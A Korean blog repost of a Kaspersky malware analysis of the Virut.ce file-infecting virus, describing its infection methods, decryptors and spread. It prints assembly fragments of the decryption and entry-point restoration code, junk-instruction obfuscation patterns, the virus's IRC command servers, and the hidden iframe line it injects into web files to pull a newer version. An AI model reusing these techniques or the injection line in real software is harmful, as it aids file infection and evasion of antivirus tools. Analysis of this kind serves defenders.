본문 바로가기

security/보안 뉴스

[링크스크랩][카스퍼스키] Virus.Win32.Virut.ce 샘플 리뷰



카스퍼스키 원문 : http://www.kaspersky.co.kr/board/bbs/board.php?bo_table=News&wr_id=566 

소개

이 문서는 Virus.Win32.Virut라고 알려져 있는 바이러스 중 ce 로 분류된 변종 바이러스를 분석하기 위해 작성되었습니다.
 
왜 Virut.ce라 부르나요?
Virut.ce는 사용자 컴퓨터에서 많이 발견되는 악성 프로그램 중 하나 입니다. 이 바이러스는 바이러스를 탐지하고 치료하는 것을 매우 어렵게 만드는 최신 기술을 사용해 실행파일을 감염시킵니다. 이것은 악성 파일들이 서버단을 통해 감염활동을 한다는 것을 의미합니다. 감염파일은 5년 전과 비교해 볼 때 더욱 많이 감염되었으며 가장 큰 이유는 파일 에뮬레이션 레벨이 크게 개선되었기 때문입니다. 예를 들어, 여러분이 Virut.ce파일을 받게 되면 바로 사용자 컴퓨터의 실행 파일을 감염시킬 것입니다.
 
Virut.ce가 사용하는 기술은 최근 악성 프로그램 제작 방법을 정확하게 반영하고 있습니다. 안티 에뮬레이션과 안티 디버깅 툴에서 널리 사용되는 다중 rdtsc 명령어나,GetTickCount API함수, 다중 가짜 API 함수를 호출할때 이용되는 Tick count를 사용합니다.
 
Virut 은 일주일에 한 개씩 새로운 변종이 생기는, 빠른-변종 바이러스로 알려져 있습니다. 이는 바이러스 제작자가 안티 바이러스 데이터 베이스를 꾸준히 모니터링 하고, 이를 통해 새로운 Virut 을 만들어내는 것으로 파악할 수 있습니다. 바이러스가 탐지될 때마다 바이러스 제작자들은 다시 한번 변형하여 이를 탐지할 수 없게 합니다. 흥미로운 것은, 이 악성프로그램의 최근 버전은 감염된 HTML 파일을 이용하여 안티 바이러스를 통해 보호받지 못하는 컴퓨터를 감염시키는 것입니다.
 
파일을 감염하는데 이용되는 방식에 대해 설명하도록 하겠습니다. 또한 실행 파일이 감염될 때 적용되는 파일 난독화도 함께 분석할 것입니다. 추가적으로 현재까지 발견된 바이러스 컴포넌트의 진화 형태도 조사할 것입니다. 이 보고서의 모든 통계는 카스퍼스키 랩의 Kaspersky Security Network (KSN) 기술을 통해 수집되었습니다.

 

바이러스의 전파 및 통계 리뷰 브리핑

첫 번째 Virut 변종인 Virut.a는 2006년 중순에 발견되었습니다. 그때부터 변종은 꾸준히 제작되었고 이는 2007년 9월의 Virut.q까지 계속되었습니다.
 
Virut.q는 그 당시에는 꽤 이슈가 되었지만 현재는 별로 주목 받지 않습니다. 2008년 후반기까지 바이러스 제작자의 ‘지원’이 이뤄지지 않았지만, 이후 2009년 2월 첫 주에 Virut.ce라 불리는 새로운 변종이 발견되었습니다. Virut.ce는 바이러스 제작자가 완벽하고 새로운 감염 기술, 암호화 알고리즘과 안티 에뮬레이션 방식을 적용하는데 있어 많은 수고를 들인 것으로 보였습니다.
 
이전의 ‘Virut’, ‘the virus’의 방식과 다른 방식으로 동작하였기에 이후에는 Virus.Win32.Virut.ce로 불리게 되었습니다.
 
현재, Virut.ce는 사용자 컴퓨터에서 발견되는 Virus.Win32.*.* 버전 가운데 두 번째로 유명한 변종이 되었습니다.
 

 
2009년 1월 –2010년 5월에 탐지된 바이러스 TOP 20

 
아래 그래프를 보면 시간이 지남에 따라 Virut.ce의 전파속도가 증가하고 있음을 알 수 있습니다.
 

 
2009년 5월 –2010년 5월에 Virut.ce에 감염된 컴퓨터 수

 
이 바이러스는 소프트웨어 라이선스를 크랙하기 위한 간단한 프로그램 또는 감염된 실행파일, HTML 파일을 통해 전파가 가능합니다. 이런 프로그램들은 일반적으로 키를 생성하거나(키젠), 직접 파일을 변환하는 유틸리티(크랙)입니다. 보다 구체적으로 말하자면, Virut은 ‘codename_panzers_cold_war_key.exe’ , ‘advanced_archive_password_recovery_4.53_key.exe’ 와 같이 간단한 RAR/SFX자동 압축 풀림 프로그램을 통해서도 감염됩니다. 이러한 압축파일안의 원본 파일 또는 필요한 프로그램안에 감염된 Virut을 포함시키게 됩니다.

 

Virut의 기능

이제 Virut의 중요 기능을 살펴 보도록 하겠습니다. 알려져 있다시피 대부분의 멀웨어 프로그램은 인터넷 뱅킹이나, 인터넷 주식 거래와 같은 인터넷 경제 활동에 사용되는 계정을 탈취하기 위해 제작되는데 Virut도 예외는 아닙니다. 사실상 Virut은 ‘explorer.exe’ 프로세스 (‘services.exe’, ‘iexplore.exe’)의 주소에 잠입을 실행하기 위한 백도어입니다. 그리고 나서 irc.zief.pl 과 proxim.ircgalaxy.pl URL의 IRC-프로토콜을 연결해 악성 서버로부터의 명령을 기다리게 됩니다. 프로시져는 아주 일반적으로 보이며, 아래의 스크린 샷에서 보여주고 있는 프로세스 목록을 종료하려고 시도합니다. 이 목록에는 'nod32','rising','f-secure' 와 다수의 다른 안티 바이러스 프로그램의 프로세스를 포함하고 있습니다.
 

 
이 스크린 샷은 Virut.ce를 복호화하고 바이러스에 의해 종료되는 프로세스의 이름을 포함한 목록을 보여줍니다.

 
흥미롭게도, 바이러스는 피해 컴퓨터에 저장되어있는 *.htm, *.php와 *.asp 파일들 전부를 감염시킵니다. 감염이 되면, 그 파일들에는 다음과 같은 라인이 추가가 됩니다 '<iframe src = http://jl.*****.pl/rc/ style = ‘display:none’></iframe>'. 이것은 PDF-파일의 취약점을 악용하여 Virut의 최신 버전을 다운로드 합니다. 이 라인은 'ce'의 변종 내에서 변경 될 수도 있습니다. 예를 들면, 'u'라는 문자는 'u'로 대체될 수 있는데 이것은 브라우저에 영향을 준 방식이 아니라 시그니쳐 기반에서 동작한 보호방식에 따라 반영되게 됩니다.

 

일반적인 논의와 감염의 방법

Virut.ce는 감염 기술로써 진입 지점을 변경하거나 EPO 기술을 사용합니다. 또한 한, 두 가지의 다형성 디크립터를 결합해 사용합니다.
 
시작 실행시점 불명확화 기법(EPO)은 바이러스 코드로 점프하게 하는 명령어의 탐지를 방지하는 일을 합니다. 일반적으로, 프로그램의 원본 코드 또는 점프 명령의 파라미터를 랜덤한 명령으로 대체함으로써 구현됩니다. 아래 그림은 어떻게 명령과 점프 주소가 대체되는지 보여주고 있습니다.
 

 
EPO 기술을 사용하여 감염된 파일의 예

 
시작 실행시점 불명확화 기법은 감염된 파일의 PE헤더를 수정합니다. 구체적으로 살펴보면 IMAGE_NT_HEADERS32 구조의 AddressOfEntryPoint 필드가 변경되어 그 결과 파일 실행 시 바이러스 구성 요소도 함께 실행되게 됩니다.
 
앞서 설명한대로, 바이러스는 감염되는 동안 'Init'과 'Main' 디크립터를 추가합니다. Init 디크립터가 실행되는 동안 메인 디크립터는 Virut.ce가 접속한 모든 파일에서 발생합니다. 디크립터의 일반적인 동작과 기능에 대해 자세히 살펴보도록 하겠습니다.
 
Init 디크립터의 주 목적은 파일의 제어권을 넘겨받기 위하여 바이러스 메인 코드의 첫 번째 레이어를 해독하는 것 입니다. 그러나 바이러스 메인 코드의 대부분은 이 초기 복호화가 발생한 이후에도 암호화되어 남아있습니다. Init 디크립터는 바이트 길이로 0X100과 0X900 사이 코드의 작은 조각이며 시그니쳐 기반의 안티 바이러스 작동을 방해하는 의미 없는 명령어를 포함하고 있습니다. 디크립터는 숫자 0으로 채워지면 코드 섹션의 마지막에 위치하게 됩니다. 디크립터의 동작방식은 다음과 같습니다:
  1. 레지스터에 암호화된 섹션의 크기를 기록합니다
  2. 암호화된 섹션에서 논리/산술 연산을 수행합니다
  3. 암호화된 섹션으로 포인터 증가/감소
  4. 모든 것이 복호화 될 때까지 명령어 2번으로 점프
바이러스의 메인 코드는 0x4000에서 0x6000 바이트의 크기입니다. 이 코드는 쓰기/읽기와 실행 가능으로 표시되고 확장된 섹션의 마지막 끝에 위치하게 됩니다.
감염 시키는 방식은 4가지가 있습니다:
    Init 디크립터 + EPO:

 

    Init 디크립터+ EP 수정:

 

    EPO 만 사용:

 

    진입 지점만 변경:

 

 
네 가지 방법은 파일 구조 변경 또는 파일을 감염 시킬 수 있는 모든 방법들에 해당됩니다.

 

Virut.ce 메인 코드의 복호화

바이러스의 메인 코드를 다루기 전에, 실제 감염된 파일의 Init 디크립터를 알아보도록 하겠습니다.
 

 
Init 디크립터를 포함한 Virus.Win32.Virut.ce에 의해 감염된 파일의 일부분

 

 
Init 디크립터의 디스어셈블 코드

 
위의 첫 번째 스크린 샷은 감염된 calc.exe 파일의 일부분을 보여주고 있습니다. 코드 섹션 경계를 표시했며 Init 디크립터 부분은 별도로 표시되어 있습니다. 두 번째 스크린 샷은 Init 디크립터의 디스어셈블 코드를 보여줍니다. 위에서 논의됐던 4개의 논리적인 요소들은 빨간 원형으로 표시되어 있습니다.
 
예를 들어, ECX 레지스터는 다수의 push/pop 명령이 있으며 adc 명령과 함께 복호화됩니다. 그러나, 이 프로시져가 항상 같은 동작을 하는 것은 아닙니다. Virut.ce는 Init 디크립터와 함께 작년에 빠르게 진화했습니다. 만약, 레지스트리에 바이러스 코드 크기가 한번 수정되면(mor reg, dword를 push dword로 변경;pop reg), 해독 프로시져는 한 번 이상 변경되게 됩니다.
  1. ADD/SUB [mem], dword;
  2. ROL/ROR [mem], byte;
  3. ADC/SBB [mem], byte;
  4. ADD/SUB [mem], byte;
  5. ADD/SUB [mem], word;
  6. ADC/SBB [mem], word;
  7. ADC/SBB [mem], dword;
지금까지 바이러스 메인 코드의 첫 번째 동작과 인젝션이 일어나는 일반적인 방식을 살펴봤습니다. 이후부터는 마지막 섹션 끝에 위치해있는 Virut의 주요 부분이 실행되는 방식을 알아보도록 하겠습니다.

 

원문 코드 복원

메인 코드는 목적에 따라 세 그룹으로 세분화 될 수 있습니다: 기능/진입 점 복원, 스태틱 바디의 복호화와 전파 실행.
 
각 요소를 검토하기 전에, 바이러스 바디의 구조를 검토하고 파일과 관련된 부분을 살펴 보겠습니다.
 


Virut.ce 본체의 구조

 
사진에서 볼 수 있듯이, 본체의 마지막 섹션 끝 부분에 두 종류로 구성된 컴포넌트가 추가되었습니다: 암호화된 스태틱 바디와 실행코드. 실행 부분에는 안티-에뮬레이션을 수행하는 코드와 원본의 진입 점/기능 복원과 스태틱 바디의 복호화가 포함됩니다. 실행 부분은 상단이나 하단 또는 양쪽에 위치 할 수 있습니다. 흥미롭게도, 실행 부분 또한 매우 난독화되어 있습니다. 원본 파일에는 고정된 요소가 없으며, 있다 하더라도 서로 다른 다른 키 또는 알고리즘을 사용하여 암호화하기 때문에 탐지하기가 매우 복잡하도록 만들어졌습니다.
 

 
Virus.Win32.Virut.ce의 본체를 포함하는 파일 조각

 
위 스크린샷은 Virus.Win32.Virut.ce에 감염된 파일의 조각을 보여줍니다. 바이러스 본체의 실행 부분은 붉은 타원형으로 표시되었습니다; 수많은 제로 바이트가 포함되어 있어 시각적으로 확인할 수 있습니다. 이 경우에는 감염 과정에서 Init 디크립터를 사용하지 않았지만 다른 방법을 사용해 모든 섹션이 비슷하게 암호화됩니다.
 
원본 파트의 파일을 복원하는 부분에 대해서 알아보겠습니다; 이 부분의 논리적인 방식은 다음과 같이 표현할 수 있습니다:
  1. CALL [주소증가]
  2. 레지스터의 원본 내용을 저장
  3. Kernel32.dll 를 EBX 레지스터에 주소 추가
  4. 항목1 CALL 구문의 주소 포인터 계산
  5. 항목4에서 얻은 주소에서 산술/논리 연산 수행
Kernel32.dll에서 API 함수가 존재하면 바이러스는EPO 기법을 사용합니다. 이 함수는 JMP 명령 (0x25FF) 이후에 0x15ff또는 0xE8 어셈명령어를 호출합니다. 만약 1)항목에서 JMP 명령(0xE9)으로 대체되면 kernel32.dll 함수를 통해 바뀐 주소로 EBX 레지스터를 바꾸게 됩니다. 만약 진입 점이 수정된다면, EBX 레지스터는 ESP+24 값으로 대체될 것이며 이 값은 kernel32.dll에서 반환한 애플리케이션 주소입니다. 이후, 레지스터에 저장된 값은 익스포트 DLL 함수 주소를 가져오는데 사용됩니다. 만약 EPO 기술이 사용된다면, ESP +20의 값은 패치된 API 함수에서 호출한 명령어 주소를 포함하게 됩니다; 그렇지 않다면 원래 마지막 진입 점의 주소가 포함될 것입니다.
 
코드 난독화 부분을 제외하면, 다음과 같이 가장 간단한 방법으로 진입 점 그리고/또는 기능 복원을 나타낼 수 있습니다 (GetModuleHandleA 함수로 대체된 경우):
 
CALL $ + 5
PUSHAD
MOV EBX, [GetModuleHandleA]
XOR [ESP + 20h], Key
 
이 코드에는 전체 로직을 완벽하게 보여주고 있습니다. 이제, 이러한 모든 단계가 시간 경과에 따라 어떻게 변화되는지 살펴 볼 수 있습니다. 레지스터의 원래 내용을 저장하는 동작에 대해서는 모두 말할 필요까지는 없으며 이 동작은 항상 PUSHAD 명령에 의해 구현되게 됩니다.
 
블록 별로 각각의 논리적인 요소를 자세히 검토하도록 하겠습니다.
 
첫 번째 단계인 CALL 명령어는 시간이 지나도 변경되지 않았습니다. 원래, 이것은 CALL $ + 5 이었지만 이후에는 CALL $ + 6(7,8) 그 다음엔 CALL $ + 0xFFFFFFFx로 되었습니다. 이 작업은 비중이 낮고 폐기될 것처럼 보이겠지만, 사실은 다릅니다. 이러한 주소는 진입 점/원래 함수를 복원하는 것뿐만 아니라 주소 암호 해독 열쇠, 코드를 시작하는데 사용됩니다. 이 주소는 Main 디크립터에서 다시 살펴보겠습니다.
 
1단계에서 수정된 3단계에서는 여러 가지 방법이 실행됩니다:
  • MOV EBX, [ApiFunc]/MOV EBX, [ESP + 24h]; 
  • PUSH [ApiFunc]/[ESP + 24h]; POP EBX;
  • SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX;
  • LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h - xx];
  • ADD ESP, 28h; XCHG [ESP – 4], EBX;
정확한 예시는 아니지만 이 단계들이 시간이 흐르면서 어떻게 진화하는지 알 수 있습니다. 추가적으로, 중간에 교묘하게ESP와 EBX레지스터 변경이 일어납니다.
 
마지막 단계를 살펴보면, 원래의 진입 점 주소 또는 패치 된 CALL구문을 복원합니다. 이 단계는2~3주 마다 수정됩니다.
 
PUSHAD명령이 호출되면, 마지막 CALL 구문에 의해 스텍 표시자인 ESP레지스터는 0x20으로 감소되어 ESP + 20h값으로 저장됩니다. 이러한 논리 연산 과정을 통해 필요한 값을 얻게 됩니다.
 
아래의 내용은 위에서 설명한 동작 방식이 수행되는 과정을 나타냅니다:
  • XOR/AND/OR/ADD/SUB [ESP + 20h], const; 
  • MOV [ESP + 20h], const;
  • LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x], EBP;
  • MOV EBX, ESP; PUSH const; POP [EBX + 20h];
  • PUSH const; POP [ESP + 20h].
이 리스트 또한 완전하지 않지만 전체적인 유형을 이해할 수 있습니다. 리스트를 보면 여러 동작들이 추가가 되어 있습니다.
 
아래 스크린샷에서 빨간색으로 표시한 부분은 감염된 파일 프레그먼트를 보여주고 있습니다.
 


Virus.Win32.Virut.ce에 감염된 파일의 스크린샷은 원래의 진입 점을 복원시키는 코드를 포함함

 
위 코드는 코드 난독화가 포함되지 않았지만 소스에서 실행 가능한 부분, Init 디크립터를 포함해 바이러스에 의해 추가된 모든 파일에서 광범위하게 사용되었습니다. 코드 난독화는 코드를 재빠르게 수정함으로써 시그니쳐 기반에서 바이러스를 탐지하고 완벽하게 차단하는 것을 어렵게 합니다. 밑에 코드는 어떠한 유효한 작업이 실행되지 않고 단지 코드 난독화만 수행되는 구문을 보여주고 있습니다:
 
XCHG reg1, reg2; XCHG reg2, reg1; (used together)
SUB reg1, reg2; ADD reg1, reg2; (used together)
MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg,  [REG];
CLD, CLC, STC, CMC, etc.
 
'reg1'과 'reg2'는 다른 레지스터들 이고, 'reg'는 단일 식 안에서 같은 레지스터임을 나타냄.
 
임의의 두 가지 피연산이 포함된 산술/논리 연산:
 
ADC reg, const; SBB reg, const; XOR reg, const; etc.
 
아래의 스크린샷은, 코드 난독화를 빨간 원으로 표시했습니다:

 

 
스크린샷은 바이러스의 메인 바디의 코드와 함께 빨간 원 안에 표시된 코드 난독화를 포함함

 
왼쪽 스크린샷을 보면 전체 코드 중에서 70-80%를 차지한 정크 명령들을 명확하게 보여주고 있습니다.
 
위의 예는 완전하지 않지만 자주 사용되고 있는 코드 난독화 형태를 보여 주고 있습니다. 바이러스가 진화함에 따라 코드 난독화 또한 진화하고 있습니다.
 
바이러스 메인 바디에서 실행되는 첫 번째 실행 단계를 살펴보았습니다. 다양한 안티 에뮬레이션과 안티 디버깅 기술을 시행하고 메인 디크립터로 이동하는 단계는 다루지 않도록 하겠습니다.

 

메인 바디의 해독

패치 된 코드 복원, 지정된 객체 생성, 시스템 DLL 과 안티-사이클에서 사용되는 함수를 통해 획득한 주소 정보와 같이 바이러스의 초기 활동이 완료된 후에 코드 복호화가 시작됩니다.
 
만약 메인 디크립터를 디스어셈블러에서 보면, RETN명령은 무의미하게 보일 것입니다. 메인 디크립터 프로세스를 시작하기 전에, RETN명령 (0C3h)은 CALL (0E8h)로 대체됩니다. 이것은 일반적으로 다음과 같은 명령에 의해 실행되었습니다:
 

ADD/SUB/XOR [EBP + xx], bytereg

 
EBP는 CALL 명령의 주소와 byte 레지스터 중의 하나인 bytergeg를 가리킵니다.
 
그러므로 RETN가 CALL로 바뀐 후 복호화 단계가 실행된다는 것을 알 수 있으며 난독화된 나머지 바이러스 코드들은 복호화를 실행 하게 됩니다. Init 디크립터에서 사용된 것보다 더욱 복잡하고 많은 알고리즘이 사용되며 전형적으로 2~6개의 논리/산술 연산이 조합되어 사용됩니다. 알고리즘을 보면 EDX 레지스터는 복호화 키가 포함되어 있으며EAX 레지스터는 스태틱 바디가 시작되는 가상 주소를 포함하고 있습니다. 레지스터들은 다음과 같은 명령어를 포함합니다:
 

MOVZX/MOV dx/edx, [ebp + const] LEA eax, [ebp + const] 

 

EBP 레지스터는 CALL 명령어를 실행하는 주소를 포함합니다. 이 주소는 파일 원본이 복원 시 논리적으로 동작하는 첫 번째 단계에서 이미 언급되었습니다. 이 두 작동을 행하는 명령어들은 시간이 지남에 따라 수정되고 있지만 여기에서 다루지는 않겠습니다.
 
사용되는 알고리즘은 매우 다양하기 때문에 가장 흥미로운 예를 살펴보겠습니다:
 
ROL DX, 4
XOR [EAX], DL
IMUL EDX, EDX, 13h

ADD [EAX], DL
ROL DX, 5
IMUL EDX, 13h

XOR [EAX], DH
ADD [EAX], DL
XCHG DH, DL
IMUL EDX, 1Fh

XOR [EAX], DH
XCHG DH, DL
ADD [EAX], DH
IMUL EDX, 1Fh

XOR [EAX], DL
ADD [EAX], DH
IMUL EDX, 2Bh
XCHG DH, DL
 
명령어들은 버전이 변경되기 때문에 현재 유행하는 것을 명확하게 찾아낼 수 없습니다. 비교적 간단한 알고리즘들은 좀 더 복잡한 것들로 대체되고, 다시 간단한 형태로 교체됩니다. 바이러스 제작자의 궁극적인 목표는 가능한 강력한 알고리즘을 사용하는 것이며 알고리즘은 지속적으로 변화하고 있습니다.
 


메인 디크립터의 디스어셈블

 
위의 스크린샷은 Main 디크립터의 디스어셈블 코드의 일부를 포함하고 있습니다. 위에서 논의된 정크 명령어가 아닌 의미 있는 명령어들은 빨간색 타원으로 강조 표시 되었습니다. 몇몇의 정크 작업들은 코드 난독화를 목적으로 삽입되어 있습니다.
 
감염된 파일이 실행되는 것을 살펴보려면, 복호화한 스태틱 바디 내에 포함되어 있어 악의적인 전파 방식이 실행되는 것을 살펴봐야합니다. 일반적으로 코드가 시작되는 가상 주소를 계산하기 위해 CALL 명령어가 실행됩니다.
 

 
복호화한 바이러스 바디


위의 스크린샷은 복호화한 바이러스 바디를 보여줍니다. 빨간 원으로 강조한 부분은 악성 코드가 전파되는 특정 부분을 나타냅니다. 예를 들어, ‘JOIN’과 ‘NICK’는 IRC 명령어이고, ‘irc.zief.pl’과 ‘proxim.ircgalaxy.pl’는 Virut이 연결을 시도하는 원격 IRC 서버들입니다. ‘SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List’ 는 윈도우 방화벽에서 등록된 신뢰하는 프로그램 목록을 포함하고 있는 레지스트리 키입니다.

 

결론

Virut.ce는 다형성 기술과 난독화 기술을 사용하고 있을 뿐만 아니라 파일 감염 메커니즘의 다양하기 때문에 매우 흥미롭습니다. 하지만 전파 방식은 매우 평범합니다. 이번 Virut 버전은 언급한 모든 악성 기법을 조합한 첫 번째 버전입니다. 어떤 악성 프로그램들은 강력한 코드 난독화만 사용되고 어떤 것들은 광범위한 안티 에뮬레이션 기술만 사용하고 있지만 Virut.ce는 한 패키지에 모든 것을 포함하고 있습니다. 이 글은 이러한 악성 기법에 대해 자세한 설명을 제공하고 있습니다. 
 
이 글은 Virut.ce에 대해 완벽하게 설명하려는 것이 아닙니다. 우리는 IRC 서버와 바이러스가 통신하는 방법과 파일들이 어떻게 감염되는지 알아갈 수 있습니다. 이번에는 Virut의 기본방식만 살펴보았습니다. 이유는 안티 에뮬레이션 기술에 대해 자세하게 설명하게 되면 이 정보가 악의적인 용도로 사용될 수 있기 때문입니다.
 
바이러스의 미래를 예상하는 것은 상당히 어려운 작업입니다. 2010년 4월부터 5월까지 Virut.ce의 새로운 버전들이 발견되지 않았지만 Virut이 진화하는 것을 멈췄다는 것을 의미하지 않습니다. 바이러스 제작자들은 최신 안티 바이러스 제품에 대한 면역성을 높이기 위해 추가 개발을 하기 위한 휴식기로 생각해 볼 수 있습니다.
 
현재, 카스퍼스키 랩의 모든 제품들은 성공적으로 Virus.Win32.Virut.ce를 탐지할 수 있으며 새로운 변종이 발견되면 즉시 카스퍼스키 랩 안티 바이러스 데이터베이스에 추가할 것입니다.
 
우리는 이 글이 악성 코드를 연구하는 사람들과 바이러스 분석가들에게 도움이 되기를 희망합니다. 요즘 안티 에뮬레이션과 안티 디버깅 기법은 일반적으로 서버 측 다형성 방식으로 전파되는 대부분의 악성 프로그램에서 사용됩니다. Virus.ce에 구현된 기술을 통해 유사한 방식을 사용하는 다형성 바이러스와 다른 악성 프로그램을 이해할 수 있을 것입니다.